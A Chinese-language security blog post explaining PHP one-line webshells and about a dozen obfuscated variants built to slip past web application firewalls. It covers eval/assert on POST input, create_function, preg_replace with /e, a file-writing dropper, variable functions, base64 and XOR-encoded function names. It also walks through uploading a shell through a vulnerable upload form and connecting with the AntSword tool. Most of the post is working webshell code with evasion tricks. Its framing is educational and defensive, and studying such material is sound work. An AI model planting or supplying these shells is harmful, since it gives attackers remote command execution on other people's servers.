銘說 | 一句話木馬的多種變形方式

今天來和大家聊一聊,

一句話木馬

的多種變形方式。

經常有客戶的網站碰到被上傳小馬和大馬,這裡的“馬”是木馬的意思,可不是真實的馬。

通常,攻擊者利用檔案上傳漏洞,上傳一個可執行並且能被解析的指令碼檔案,透過這個指令碼來獲得伺服器端執行命令的能力,也就是我們經常聽到的

WebShell

,而這個指令碼檔案就是我們常說的大馬和小馬。

1、都有些什麼“馬”?

小馬

體積小,功能少,優點在於不易被發現,功能單一,常作為上傳大馬的跳板。

大馬

體積大,功能強大,但是易被發現。

一句話木馬

在小馬和大馬之外衍生出的另一種木馬,只需短短一行程式碼,再結合WebShell工具(如菜刀、蟻劍、冰蠍等等)就能做到與大馬能力相當的功能(執行命令列、檔案上傳、檔案下載等功能)。

隨著一句話木馬的濫用,普通的一句話木馬都已經逃不過waf的檢測了,為了逃避waf的檢測,一句話木馬開始了他的變形之旅。

2、一句話木馬的變形之路

環境介紹:

解析語言:php(版本:5.6.27)

WebShell工具:蟻劍

【最初的一句話】

製作一句話:

<?php @eval($_POST[‘juminfo’]);?>

<?php @assert($_POST[‘juminfo’]);?>

銘說 | 一句話木馬的多種變形方式

圖 1 最簡單的一句話木馬

找到具有上傳漏洞的站點,將該指令碼上傳,並訪問。發現是一片空白,可以說明該木馬能被解析。

銘說 | 一句話木馬的多種變形方式

圖 2 訪問指令碼

使用蟻劍連線。

銘說 | 一句話木馬的多種變形方式

圖 3 蟻劍連線

連線成功,獲得WebShell。

銘說 | 一句話木馬的多種變形方式

圖 4 獲得webshell

這樣的木馬雖然簡單,但是他明顯的關鍵字很容易就被各類waf檢測到。

為了繞過waf,我們的思路可以更寬一些,主要的思路有大小寫混淆,字元編碼,分散特徵碼等。

【create_function函式】

指令碼內容:

<?php

$fun = create_function(‘’,$_POST[‘juminfo’]);

$fun();

?>

把使用者傳遞的資料生成一個函式fun(),然後再執行fun()。

【create_function函式】

指令碼內容:

<?php

@call_user_func(assert,$_POST[‘juminfo’]);

?>

call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第一個函式,被呼叫的函式的引數是call_user_func的第二個引數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函式繞過waf。

【preg_replace函式】

指令碼內容:

<?php

@preg_replace(“/abcde/e”, $_POST[‘juminfo’], “abcdefg”);

?>

這個函式原本是利用正則表示式替換符合條件的字串,但是這個函式有一個功能——可執行命令。這個函式的第一個引數是正則表示式,按照PHP的格式,表示式在兩個“/”之間。如果我們在這個表示式的末尾加上“e”,那麼這個函式的第二個引數就會被當作程式碼執行。

【file_put_contents函式】

指令碼內容:

<?php

$test=‘<?php $a=$_POST[“juminfo”];assert($a); ?>’;

file_put_contents(“hello。php”, $test);

?>

使用方法:先用瀏覽器訪問,生成新的檔案“hello。php”,再連線“hello。php”。

利用函式生成檔案,第一個引數是檔名,第二個引數是檔案的內容。

【PHP變數函式】

指令碼內容:

<?php

$a = “assert”;

$a(@$_POST[‘juminfo’]);

?>

第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名。

【PHP可變變數】

指令碼內容:

<?php

$bb=“assert”;

$a=“bb”;

$$a(@$_POST[‘juminfo’]);

?>

透過上一個語句進行的多一層變化:$$a = $($a) = $ (‘bb’) = $bb = “assert”

【str_replace函式】

指令碼內容:

<?php

$a=str_replace(“juminfo”, “”, “assjuminfoert”);

$a(@$_POST[‘juminfo’]);

?>

在第三個引數中,查詢第一個引數,並替換成第二個引數。這裡第二個引數為空字串,就相當於刪除“juminfo”。

【base64_decode函式】

指令碼內容:

<?php

$a=base64_decode(“YXNzZXJ0”)

$a($_POST[‘juminfo’]);

?>

這裡是base64解密函式,“YXNzZXJ0”是assert的base64加密。

【"."運算子】

指令碼內容:

<?php

$a=“as”。“s”;

$b=“er”。“t”;

$c=$a。$b;

$c($_POST[‘juminfo’]);

?>

【運算子變形】

指令碼內容:

<?php

@$_++;

$__=(“`”^“?”)。(“:”^“}”)。(“%”^“`”)。(“{”^“/”);

$___=(“$”^“{”)。(“~”^“。”)。(“/”^“`”)。(“-”^“~”)。(“(”^“|”);

${$__}[!$_](${$___}[$_]);

?>

當我第一次看到這個指令碼的時候,一頭霧水,這是什麼東西?

後來用echo打印出三個變數$_++、$__、$___可以看到他們的值分別為1、_GET、_POST,放入最後一條語句中剛好組成一個兩層的一句話木馬。

<?php $_GET[0]($_POST[1])?>

只要我們將0賦值為assert就可以構成經典的一句話<?php assert($_POST[1])?>,密碼是1。

銘說 | 一句話木馬的多種變形方式

圖 5 二層一句話木馬的連線方式

3、總結

一句話的混淆方式還有很多很多,基於以上的變形思路還能夠衍生出無數新的變種木馬,為了更好地防止“被放馬”的事件發生,我們應該及時對使用的安全產品進行更新,才能讓“馬”無處可走。

免責宣告

:本文提及的技術僅可用於私人學習測試等合法場景中,任何不當利用該技術所造成的刑事、民事責任均與本文作者無關。